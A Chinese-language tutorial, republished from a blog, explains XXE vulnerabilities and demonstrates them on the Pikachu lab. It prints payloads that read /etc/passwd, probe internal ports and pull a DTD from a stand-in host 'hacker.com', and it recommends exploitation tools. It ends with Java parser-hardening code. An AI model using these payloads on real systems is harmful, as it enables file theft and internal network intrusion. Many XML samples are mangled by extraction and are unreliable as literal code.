XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一
XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。
是不是想到了上节课讲的 SSRF?没错,利用 XXE 可以造成 SSRF。
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 php 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
本文也不打算再讲 PHP 环境下的 XXE 漏洞,Java 才是 XXE 漏洞最常见的语言,因此主要以 Java 为例做一些介绍。但在漏洞利用的实例演示上,我依然用 Pikachu 靶场的 XXE 题目(PHP),因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
XML(Extensible Markup Language)意为可扩展性标记语言,我将介绍下 XML 的一些基础知识,方便你更好地理解漏洞原理。
XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素,具体可以参考以下示例。
people [ people (name,age,mail)> name (#PCDATA)> age (#PCDATA)> mail (#PCDATA)> ]]]><people> <name>johnname> <age>18age> <mail>john@qq.commail>people>
三者其中,与 XXE 漏洞相关的主要在于文档类型定义(DTD),所以下面主要重点来介绍下 DTD。
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
DTD 实体就是变量,它既可以在文档内部声明,也可以外部引用,供在 XML 文档里面去使用。
内部实体声明
内部声明采用如下格式定义:
"实体值">
声明之后就可以通过“&实体名;”来获取,示例如下:
foo [ test "john"> ]> <root> <name>&test;name> root
外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
"URI">或者"public_ID" "URI">
举个例子:
]>&xxe;
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
"实体的值">或者"URI">
举个例子:
foo [ xxe SYSTEM "Http://hacker.com/evil.dtd" > %xxe;]><root> <name>&evil;name>root>
xxe.dtd 内容如下:
evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
下面介绍一些 XXE 漏洞的常见利用方法,并提供一些 payload 测试用例,测试仍以 Pikachu XXE 题目作为演示。
XXE 支持 http 等 URL,所以同样可以产生与 SSRF 一样效果,对内网进行指纹探测、端口扫描、漏洞攻击等行为。
比如以下的 payload:
ANY [ xxe SYSTEM "http://192.168.31.124:4444/test">]><x>&xxe;x>r>
由于不存在该端口,所以会出错误:
图 1 探测内网端口失败
成功的话,会返回空白,通过这种对比差异,可以判断是否利用成功:
图 2 探测内网端口成功
通过 file:// 可以读取本地文件,造成敏感文件泄露:
ANY [ xxe SYSTEM "file:///etc/passwd">]><x>&xxe;x>
输入上述 XML 提交后,成功读取到 /etc/passwd 文件内容:
图 3 利用XXE漏洞读取 /etc/passwd
如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。
]>&xxe;
推荐一款综合型的 XXE 漏洞利用工具XXEinjector,用 Ruby 开发,运行前需要先安装 ruby。
sudo apt install ruby
通过输入请求包数据,并指定攻击行为,比如列目录、读文件等。
$ cat req.txt 1 ↵GET /mmpaymd/ordercallback HTTP/1.1Host: 100.95.204.69:8081Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/65.0.3325.181 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh,zh-CN;q=0.9,en;q=0.8Cache-Control: max-age=259200Connection: keep-alive
常用命令如下:
图 4 XXEinjector 常用命令
不过,不能完全依赖于 XXEinjector,因为之前我在测试时,发现它也有利用不成功的情况,需要自己多测试验证下。
其他更多 XXE payload,可以参考“XML External Entity (XXE) Injection Payload List”。
如果你记不住上面那些 XXE payload,还有个工具可以帮你生成,一款集 payload 生成与发包利用的 XXE 利用工具 XXExploiter,它可以启动服务提供远程 DTD 文件去实现利用。
图 5 xxeploiter 利用方法
就功能而言,个人觉得它比 XXEinjector 更优秀,生成 payload 的功能还可以用于辅助手工测试,结合业务场景自己做一些调整。
XXE 依然如 SSRF 分为有回显、无回显。通过 XXE 可以造成 SSRF,所以它的检测思路与 SSRF 大同小异,比较通用的方式也是构造特定外网服务器的访问请求,然后查询外网服务器的请求日志,以判断是否请求成功。
无论是手工测试还是自动化,当前检测 XXE 和 SSRF 漏洞的方式大多是基于此原理。
上一讲介绍的 Burp Collaborator,在此处就用得上,使用前面介绍的常见攻击手段,去尝试构造多种测试请求,是否向 Burp Collaborator Server 请求成功,就可以很容易地判断是否存在 XXE。
以 Pikachu 靶场的 XXE 题目为例。用 Burp Collaborator 获得 DNS 解析服务器的地址 b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net,然后构造 XXE payload。
ANY [ xxe SYSTEM "http://b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net">]><x>&xxe;x>
将上述 payload 输入文本框,点“提交”:
图 6 输入 xml payload
在 Burp Collaborator client 上点击“Poll now”就可以看到请求日志,说明确实存在 XXE 漏洞。
图 7 利用 XXE 请求 Collaborator server 成功
以 Java 为例,可以在代码中搜索常用的 XML 解析器,看它们在实例化之后,是否有关闭外部实体引用功能,如果没有就可能存在 XXE 漏洞。
javax.xml.parsers.DocumentBuilderFactory;javax.xml.parsers.SAXParserjavax.xml.transfORM.TransformerFactoryjavax.xml.validation.Validatorjavax.xml.validation.SchemaFactoryjavax.xml.transform.sax.SAXTransformerFactoryjavax.xml.transform.sax.SAXSourceorg.xml.sax.XMLReaderDocumentHelper.parseTextDocumentBuilderorg.xml.sax.helpers.XMLReaderFactoryorg.dom4j.io.SAXReaderorg.jdom.input.SAXBuilderorg.jdom2.input.SAXBuilderjavax.xml.bind.Unmarshallerjavax.xml.xpath.XpathExpressionjavax.xml.stream.XMLStreamReaderorg.apache.commons.digester3.Digesterrg.xml.sax.SAXParseExceptionpublicId
这部分可以结合“XML External Entity Prevention Cheat Sheet”来看,不同语言、不同的 XML 解析库有不同的关闭外部实体引用的方法,在代码审计时,可以对照着看,然后拿一些 xxe payload 实际验证下。
要防御 XXE 也比较简单,关闭外部实体引用即可。比如在 Java 中常用于解析 XML 的 DocumentBuilderFactory,就可以通过 setFeature 方法防御 XXE 漏洞,注意是组合使用,而不是单一防御。
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();String FEATURE = null;try { // 禁用DTD FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true);
// 禁用普通实体FEATURE = "http://xml.org/sax/features/external-general-entities";dbf.setFeature(FEATURE, false);// 禁用参数实体FEATURE = "http://xml.org/sax/features/external-parameter-entities";dbf.setFeature(FEATURE, false);// 禁用外部DTD引用FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";dbf.setFeature(FEATURE, false);// 禁用XInclude处理功能dbf.setXIncludeAware(false);// 禁用扩展实体引用节点,注意:只使用该方法并不能完全防御XXEdbf.setExpandEntityReferences(false);
} catch () {
…
}
// Load XML file or stream using a XXE agnostic configured parser…
DocumentBuilder safebuilder = dbf.newDocumentBuilder();
不同的 XML 解析库有不同的关闭方式,比如全面介绍 XXE 防御方案的是 OWASP 发表的“XML External Entity Prevention Cheat Sheet”,针对不同的语言、XML 解析库,给出不同的防御方案,并提供关闭 XML 实体引用的代码示例,你在防御或者需要修复 XXE 漏洞时可以作为参考。
如果业务需要引用外部实体,建议采用白名单方式限制。
本节课介绍了 XXE(XML 实体注入)漏洞相关的基础知识、漏洞成因和常见攻击手段,有时需要根据有无回显的情况,采取不同的测试方法。
在日常实际应用中,大家都习惯当作无回显的情况来看待,因为无回显的检测方法同样适用于有回显的,相对比较通用。
同时,给你推荐了 XXEinjector 和 XXExploiter 两款利用工具,在辅助检测 XXE 漏洞时会有所帮助。个人更偏好用 XXExploiter,因为它功能更多,利用成功率更高一些,还可以生成 payload 用于测试。
Burp Collaborator 在检测无回显的 XXE 漏洞时,非常好用,结合 XXExploiter 生成的 payload,对其中的 URL 调整为 Burp Collaborator Server,借助 Burp Collaborator 的自动检测服务端的请求日志,可以帮助判断漏洞是否存在,又不用再自己搭建外网服务器,是一种节约成本的检测方法。
来源地址:https://blog.csdn.net/qq_56438857/article/details/126280609
--结束END--
本文标题: XXE漏洞详解与利用
本文链接: https://lsjlt.com/news/406157.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0